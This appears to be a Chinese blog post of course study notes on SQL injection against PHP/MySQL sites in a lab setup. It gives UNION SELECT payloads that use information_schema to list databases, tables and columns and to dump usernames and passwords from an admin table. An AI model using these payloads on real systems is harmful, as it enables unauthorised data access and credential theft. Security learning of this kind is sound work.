SQL注入漏洞的分析与利用

Posted 2020-10-21

mysql数据库：

元数据库information_schema
1.在5.0以后版本的MySQL中存在着一个元数据库information_schema，其中存储着用户在MySQL中创建的所有其他数据库的信息
2.在对php+mysql类网站进行注入时，主要就是针对information_schema数据库进行操作

---

information_schema中比较重要的数据表
1.schemata：用于存放所有数据库的名字
2.tables：用于存放所有数据库中的数据表的名字
3.columns：用于存放所有数据库的所有数据表中所有字段的名字

php+mysql注入

实验环境：
实验平台： NPMserv（必须放在根目录下使用）
目标网站： 平台上的网站

MySQL基本操作
1.select version(); 查看mysql版本
2.select user(); 查看当前用户
3.select database(); 查看当前打开的数据库
4.show database; 查看mysql中共有那些数据库
5.use test; 打开test数据库
6.show tables; 显示数据库中的表
常规操作
判断可显示字段
union select 1,2,3,4
MySQL中在执行联合查询时，后面的查询语句不必非要指定数据表名，这点区别于Access
所以可执行：

1.判断是否为注入点

显示正常

显示不正常
由此可以判断出是一个注入点
2.使用order by 猜出字段数

可知字段数为4
3.执行union查询

不必非要指定数据表的名字

在前面加一个and 1=2使得页面得出后面的内容
因为元数据库只有在5.0版本之后才有，所以要得到数据库版本

4.爆出敏感信息
1.爆出当前用户名和数据库名
union select 1,2,user(),database(),4
2.爆出govcn数据库中包含的数据表
union select 1,table_name,3,4 from information_schema.tables where table_schema="govcn"
通过group_concat()函数可以显示字段中的所有内容。

得出结果：

5.利用information_schema查看其他数据库的内容
1.查看test数据库中包含了那些表
select table_name from information_schema.tables where table_schema="test";
2.查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";

爆字段名：
union select 1,username,password,4 from information_schema.columns where table_name="admin"

爆用户名和密码

union select 1,username,password,4 from admin
union select 1,unhex(hex(username)),unhex(hex(password)),5 from admin

利用unhex(hex())函数进行编码转换，解决网站编码不一致的问题

---

曲广平老师课程的学习笔记